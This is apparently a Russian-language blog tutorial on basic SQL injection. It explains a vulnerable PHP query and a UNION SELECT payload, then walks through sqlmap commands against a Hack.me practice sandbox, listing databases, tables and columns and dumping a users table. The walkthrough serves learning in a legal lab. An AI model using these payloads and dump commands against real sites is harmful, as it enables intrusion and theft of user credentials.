Hack.me, Basic SQL инъекция с использованием sqlmap.

Практически любой сайт использует СУБД, в них хранятся ссылки,пользователи,пароли и много другой информации. SQL инъекция это очень популярный вид атаки на web-приложения  основанный на внедрение операторов SQL в запросы.

Допустим у нас есть скрипт который ищет  id в базе данных и выводит это:

$id = $_GET[‘id’];
$query = «SELECT * FROM news WHERE id=$id»;

http://example.org/script.php?id=5 и выполниться следующий запрос SQL:

SELECT * FROM news WHERE id=1

Если запрос не как не фильтруется мы может его видоизменить и послать базе совсем другой запрос  http://example.org/script.php?id=5 UNION SELECT 1 

SELECT * FROM news WHERE id=1 UNION SELECT 1

Это базовый принцип работы SQL инъекции, я не буду здесь разбирать подробности. Конечно я вам рекомендую более глубоко познакомиться с принципом и работой SQL запросов. Имея базовые знания  мы может использовать уже готовые решения для нахождения и эксплуатации SQL-injection. Например известнейшая утилита с открытым кодом SQLMAP.

Что она только не умеет :

  • Полная поддержка  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
  • Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и вне полосная (out-of-band).
  • Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
  • Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
  • Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
  • Поддержка сдампливания записей таблиц БД.
  • И это не все его возможности!

Конечно сразу очень хочется попробовать  ее в деле )) И у нас есть такая законная возможность благодаря отличному sendbox проекту  Hack.me. Где можно попробовать свои силы в  тестировании на проникновении web приложений.

Я нашел подходящий нам sendbox Very basic SQL injection.

Запускаем, переходим по ссылке и попадаем в простую форму входа:

Ну что же, натрави на нее sqlmap:

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php —banner —random-agent —forms —dbs

-u URL сайта.-u URL сайта.
—banner Баннер, получение информации о СУБД.
—dbs Перечислить базы данных СУБД.
—random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent.
—forms  Парсить и тестировать формы на целевой URL.

Отвечаем на всякие вопросы и в итоге получаем с начало информацию  об найденных уязвимостях :

Собственно потом нам предложили воспользоваться ее для получения списка баз данных :

База information_schema стандартная и в ней думаю ничего интересного нету.

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata —tables —forms

-D Указываем базу данных.
—tables Перечислить таблицы базы данных СУБД.

Едим дальше :

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users —columns —forms

Теперь нам осталось только заглянуть в таблицы :

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users -C username —damp —forms

-T                        Таблица.
                       Колонка.
—dump              Сдампить записи таблицы базы данных СУБД.

 

Дальше я думаю вы конечно же разберетесь )))

You have logged in. Here’s my top secret message:

I am a unicorn. SHHH! Don’t tell anyone.